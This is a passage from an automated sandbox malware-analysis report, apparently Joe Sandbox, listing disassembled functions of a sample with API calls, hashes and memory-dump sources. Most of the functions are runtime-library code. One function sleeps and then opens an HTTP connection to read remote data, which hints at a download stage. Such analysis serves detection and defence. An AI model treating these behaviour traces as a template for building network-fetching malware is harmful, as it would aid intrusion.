Concurrency::details::SchedulerBase::ClearQuickCacheSlot.LIBCMT ref: 021AED84
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 021AEDAB
Concurrency::details::VirtualProcessor::EnsureAllTasksVisible.LIBCONCRT ref: 021AEDB7
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 021AEDEF
Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 021AEE0E
Concurrency::details::SchedulerBase::VirtualProcessorIdle.LIBCONCRT ref: 021AEE1C
Concurrency::details::ReferenceCountedQuickBitSet::InterlockedClear.LIBCONCRT ref: 021AEE43

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$ContextVirtual$Processor::QuickScheduler$ClearCountedEventIdleInterlockedProcessorReferenceSet::$AssignAvailableBlockedCacheConcurrency::location::_DeactivateEnsureInternalMakeSlotSpinTasksThrowTraceUntilVisible
String ID:
API String ID: 3608406545-0
Opcode ID: a39cb41113445c8b37c8e93bd00c54bcce78915a73e61bcd78f9524f0075e564
Instruction ID: ce8ee4f4b9e79537c6bbc33651b740316f009e216806ba6279d344ff4923edf8
Opcode Fuzzy Hash: a39cb41113445c8b37c8e93bd00c54bcce78915a73e61bcd78f9524f0075e564
Instruction Fuzzy Hash: 56518D787402049FDB04EF24C4A5BAD77A6BF49311F1941B9ED0A9B286CB71AD05CFA2

Function 0040BE82 Relevance: 15.3, APIs: 10, Instructions: 343networkfilesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000005DC), ref: 0040BEB8
InternetOpenW.WININET(00458DC8,00000000,00000000,00000000,00000000), ref: 0040BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0040BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0040BF35
HttpSendRequestA.WININET(?,00000000), ref: 0040BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 0040C0A7
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 0040C160
InternetCloseHandle.WININET(?), ref: 0040C187
InternetCloseHandle.WININET(?), ref: 0040C18F
InternetCloseHandle.WININET(?), ref: 0040C197

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID:
API String ID: 1439999335-0
Opcode ID: f215b8e2ea09d3ecaada130b4dc6c3e3702a4eea93e94d9dbc2753dde293878e
Instruction ID: 71497d68164bda9dcaa66ce95f0c59154e79fc335b3d255b1b18961781db6419
Opcode Fuzzy Hash: f215b8e2ea09d3ecaada130b4dc6c3e3702a4eea93e94d9dbc2753dde293878e
Instruction Fuzzy Hash: 50D1D5B0A10118DBDB24DF28CD88B9D7B75EF45304F5082AAF909A72D2D7399AC4CF59

Function 004269DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00426A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00426A51
List.LIBCONCRT ref: 00426A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00426A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00426AB9
List.LIBCONCRT ref: 00426AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00426B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00426B20
List.LIBCONCRT ref: 00426B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00426B68

Part of subcall function 00425EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00425EF7
Part of subcall function 00425EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00425F09

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction ID: 579499c82c18d5a5ade90e723c63f8c40f3c28f02b2f1580fedc01109288aa91
Opcode Fuzzy Hash: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction Fuzzy Hash: 9C516170B00229ABDB04DF65D495BEEB7A8FF08304F45406EE915EB381DB78AE45CB94

Function 021A6C41 Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 021A6C86
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 021A6CB8
List.LIBCONCRT ref: 021A6CF3
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 021A6D04
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 021A6D20
List.LIBCONCRT ref: 021A6D5B
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 021A6D6C
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 021A6D87
List.LIBCONCRT ref: 021A6DC2
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 021A6DCF

Part of subcall function 021A6146: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 021A615E
Part of subcall function 021A6146: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 021A6170

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction ID: b6cf1d9fa0e13a915aa195fe687ce662d34f642fe31c5a3e85fe77d3f6b0fbe1
Opcode Fuzzy Hash: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction Fuzzy Hash: 1C515FB9A40219AFDF18DF65C5A4BEDB3B9FF08344F484069D955AB281DB30AE44CF90

Function 0043A559 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0043A56F

Part of subcall function 0043ADF5: HeapFree.KERNEL32(00000000,00000000,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?), ref: 0043AE0B
Part of subcall function 0043ADF5: GetLastError.KERNEL32(?,?,0043F0CD,?,00000000,?,?,?,0043F0F4,?,00000007,?,?,0043F4F6,?,?), ref: 0043AE1D

_free.LIBCMT ref: 0043A57B
_free.LIBCMT ref: 0043A586
_free.LIBCMT ref: 0043A591
_free.LIBCMT ref: 0043A59C
_free.LIBCMT ref: 0043A5A7
_free.LIBCMT ref: 0043A5B2
_free.LIBCMT ref: 0043A5BD
_free.LIBCMT ref: 0043A5C8
_free.LIBCMT ref: 0043A5D6

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1702a0a1dc840abddd1c64ba95121113f610cdca08529299edb68c6a0e13c010
Instruction ID: d5756e4be776d265c631e914caca5967b4e144ec79bf9f4ded6797d03f0bc009
Opcode Fuzzy Hash: 1702a0a1dc840abddd1c64ba95121113f610cdca08529299edb68c6a0e13c010
Instruction Fuzzy Hash: C021E776940108FFCB01EFA9C881CDE7BBABF08345F0051AAF5459B521EB35EA94CB85

Function 021BA7C0 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021BA7D6

Part of subcall function 021BB05C: HeapFree.KERNEL32(00000000,00000000,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?), ref: 021BB072
Part of subcall function 021BB05C: GetLastError.KERNEL32(?,?,021BF334,?,00000000,?,?,?,021BF35B,?,00000007,?,?,021BF75D,?,?), ref: 021BB084

_free.LIBCMT ref: 021BA7E2
_free.LIBCMT ref: 021BA7ED
_free.LIBCMT ref: 021BA7F8
_free.LIBCMT ref: 021BA803
_free.LIBCMT ref: 021BA80E
_free.LIBCMT ref: 021BA819
_free.LIBCMT ref: 021BA824
_free.LIBCMT ref: 021BA82F
_free.LIBCMT ref: 021BA83D

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1702a0a1dc840abddd1c64ba95121113f610cdca08529299edb68c6a0e13c010
Instruction ID: 7f69f1d0a80cacef4828afa744ff7acc80e1f28342b3ac3c8e5cced3a1f9533b
Opcode Fuzzy Hash: 1702a0a1dc840abddd1c64ba95121113f610cdca08529299edb68c6a0e13c010
Instruction Fuzzy Hash: AC216B76944108EFCB52EF94C880DDD7BB9BF08344F014565EA299B921DB72DB54CF84

Function 00445A82 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 00445A9B

Strings

log10, xrefs: 00445ADD, 00445AEC
acos, xrefs: 00445BD1
log, xrefs: 00445AF8, 00445B07
pow, xrefs: 00445B39, 00445BE3, 00445C30
exp, xrefs: 00445B1A, 00445B7F
asin, xrefs: 00445BC8
sqrt, xrefs: 00445BDA

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 7e11b681a690fd98a2b640cdef5f2481af1cc968e8b139b6733d987c9b93043a
Instruction ID: 8f21642526c0a384525b0a78e457c39df1912065d7a9ddf966662cad22d26739
Opcode Fuzzy Hash: 7e11b681a690fd98a2b640cdef5f2481af1cc968e8b139b6733d987c9b93043a
Instruction Fuzzy Hash: EE517E74904E4ADBEF109F58E88C5AE7F74FB05310F148157D880AA356CB789A2ACF1D

Function 00427364 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 004273B0
SwitchToThread.KERNEL32(?), ref: 004273D3
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 004273F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0042740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00427419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00427440

Strings

count, xrefs: 0042737E
ppVirtualProcessorRoots, xrefs: 00427438

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3791123369-3650809737
Opcode ID: c12b9fb7ade3771b82fb90936bc3b93d705f62869cacdabd48ca9c13149a27d9
Instruction ID: 910b0151320ec7fd7557316ad521234f334c06ab70371bbe18cdfb5d61862d5e
Opcode Fuzzy Hash: c12b9fb7ade3771b82fb90936bc3b93d705f62869cacdabd48ca9c13149a27d9
Instruction Fuzzy Hash: A8219334B00229EFCB10EF55D485AAEBBB5BF09344F54406AEC0197351CB38AE05CB98

Function 00426E1C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00426E36
GetCurrentProcess.KERNEL32 ref: 00426E3E
DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 00426E53
SafeRWList.LIBCONCRT ref: 00426E73

Part of subcall function 00424E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00424E7F
Part of subcall function 00424E6E: List.LIBCMT ref: 00424E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00426E85
GetLastError.KERNEL32 ref: 00426E94
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00426EAA

Strings

eventObject, xrefs: 00426E7D

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorHandleLastLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 165577817-1680012138
Opcode ID: b62cbed1bd16eb0b2b2c40c5403938e97f3cad696c6ba2539ab88a788b3ccb2b
Instruction ID: 2eb99b2fab9b0e49766b11680856393b7410886275509e22dbc04e0cf8104fc6
Opcode Fuzzy Hash: b62cbed1bd16eb0b2b2c40c5403938e97f3cad696c6ba2539ab88a788b3ccb2b
Instruction Fuzzy Hash: 5D11E379600214EBDB14EBA4EC8AFEE3768AF04306F61416AF505A61D2DB389A04C66D

Function 004456D2 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f581972419559139547d94a09d48a4cf01951f6f19e23db2bc11059fe6a6d649
Instruction ID: ee9b374b754267b3a96934832a8bfcd590faa4b6eb17edeb4b1fb680e658e9fc
Opcode Fuzzy Hash: f581972419559139547d94a09d48a4cf01951f6f19e23db2bc11059fe6a6d649
Instruction Fuzzy Hash: A3C114B0A04649EFEF15DF99C880BAEBBB1AF49314F00416BE441A7393D7789901CF69

Function 021C5939 Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f581972419559139547d94a09d48a4cf01951f6f19e23db2bc11059fe6a6d649
Instruction ID: 5cd523f7bc6e34e3acc98a8ccc38ca0d205e2ca02df0f6c2d2a0058d2c3ed8ee
Opcode Fuzzy Hash: f581972419559139547d94a09d48a4cf01951f6f19e23db2bc11059fe6a6d649
Instruction Fuzzy Hash: A7C103B8E84249AFDF15CF98D880BADBBB7AF59300F61406CE415BB281D770A941CF65

Function 0219C6B9 Relevance: 13.6, APIs: 9, Instructions: 138threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0219C6E1
GetCurrentThreadId.KERNEL32 ref: 0219C6FE
GetCurrentThreadId.KERNEL32 ref: 0219C713
_xtime_get.LIBCPMT ref: 0219C75F
GetCurrentThreadId.KERNEL32 ref: 0219C791
__Xtime_diff_to_millis2.LIBCPMT ref: 0219C7A9
_xtime_get.LIBCPMT ref: 0219C7C8
GetCurrentThreadId.KERNEL32 ref: 0219C7D2
GetCurrentThreadId.KERNEL32 ref: 0219C829

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CurrentThread$_xtime_get$Xtime_diff_to_millis2
String ID:
API String ID: 3943753294-0
Opcode ID: 614b4e817c589673b728cf08dcfac44524a47e1cde47449f47a12751e0a585f6
Instruction ID: 0054ac8abae0651131a5fa465e98ad130ee9acc88b3ba150755ff34fdca2a131
Opcode Fuzzy Hash: 614b4e817c589673b728cf08dcfac44524a47e1cde47449f47a12751e0a585f6
Instruction Fuzzy Hash: 69516B35940206CFCF18DF24D9849A9B7B1FF0C315B2444AAE8869B262DB31E981CFA5

Function 004278E1 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00427903

Part of subcall function 00425CB8: __EH_prolog3_catch.LIBCMT ref: 00425CBF
Part of subcall function 00425CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00425CF8

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 00427911

Part of subcall function 0042691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00426942
Part of subcall function 0042691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00426965

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0042792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00427936

Part of subcall function 00425CB8: RtlInterlockedPopEntrySList.NTDLL(?), ref: 00425D41
Part of subcall function 00425CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00425D70
Part of subcall function 00425CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00425D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00427982
Concurrency::location::_Assign.LIBCMT ref: 004279A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 004279AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 004279BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 004279ED

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: be26d28973ab40e19276e1e39a9ed43843e9869f42fe47dc141d3d43563d5587
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 9F314670B083715AEF16AA7854927FF77B59F01304F4401ABD485D7342DA2C4D8AC3D9

Function 021A7B48 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 021A7B6A

Part of subcall function 021A5F1F: __EH_prolog3_catch.LIBCMT ref: 021A5F26
Part of subcall function 021A5F1F: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 021A5F5F

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 021A7B78

Part of subcall function 021A6B84: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 021A6BA9
Part of subcall function 021A6B84: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 021A6BCC

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 021A7B91
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 021A7B9D

Part of subcall function 021A5F1F: RtlInterlockedPopEntrySList.NTDLL(?), ref: 021A5FA8
Part of subcall function 021A5F1F: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 021A5FD7
Part of subcall function 021A5F1F: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 021A5FE5

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 021A7BE9
Concurrency::location::_Assign.LIBCMT ref: 021A7C0A
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 021A7C12
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 021A7C24
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 021A7C54

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 99076a64ce9ee21b7618bf656e910cd6d95a771807e6e9e4d3cb11b0da2e77b9
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 8B310638B8025A6FDF26AA7844A17FEF7B65F45304F0400A9C855E7285DB254A47CBE1

Function 00430985 Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0043099B
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00425CAE,?), ref: 004309AD
GetCurrentThread.KERNEL32 ref: 004309B5
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00425CAE,?), ref: 004309BD
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,00425CAE,?), ref: 004309D6
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 004309F7

Part of subcall function 00420211: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 0042022B

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00425CAE,?), ref: 00430A09
GetLastError.KERNEL32(?,?,?,?,?,00425CAE,?), ref: 00430A34
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00430A4A

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: ca3b420515bcbb23f0314330c0ebaf985fd69accfaa50322e501786fcfee08c6
Instruction ID: 58a410a88ddb3f2405c1133c244b860286e3bd8ce2c4f5659541a2373579a810
Opcode Fuzzy Hash: ca3b420515bcbb23f0314330c0ebaf985fd69accfaa50322e501786fcfee08c6
Instruction Fuzzy Hash: 07112779600301ABD700AFB1BD5AF9B3BA89F19701F14017AF945D6253EA78D800873A

Function 021B0BEC Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 021B0C02
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,021A5F15,?), ref: 021B0C14
GetCurrentThread.KERNEL32 ref: 021B0C1C
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,021A5F15,?), ref: 021B0C24
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,021A5F15,?), ref: 021B0C3D
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 021B0C5E

Part of subcall function 021A0478: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 021A0492

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,021A5F15,?), ref: 021B0C70
GetLastError.KERNEL32(?,?,?,?,?,021A5F15,?), ref: 021B0C9B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 021B0CB1

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: ca3b420515bcbb23f0314330c0ebaf985fd69accfaa50322e501786fcfee08c6
Instruction ID: 69079787b73699cf44f1f6903bda402ee50cab19408750c719efde125c107b13
Opcode Fuzzy Hash: ca3b420515bcbb23f0314330c0ebaf985fd69accfaa50322e501786fcfee08c6
Instruction Fuzzy Hash: 1211E1B9680305AFD711AB749D5DFDB3BB8AF09702F0800B5F946DA152EB74C9048B76

Function 021C277E Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 021C2800
_free.LIBCMT ref: 021C2824
_free.LIBCMT ref: 021C29B1
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00456758), ref: 021C29C3
_free.LIBCMT ref: 021C2B7D

Strings

XgE, xrefs: 021C296C, 021C2972
XgE, xrefs: 021C2AE0

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

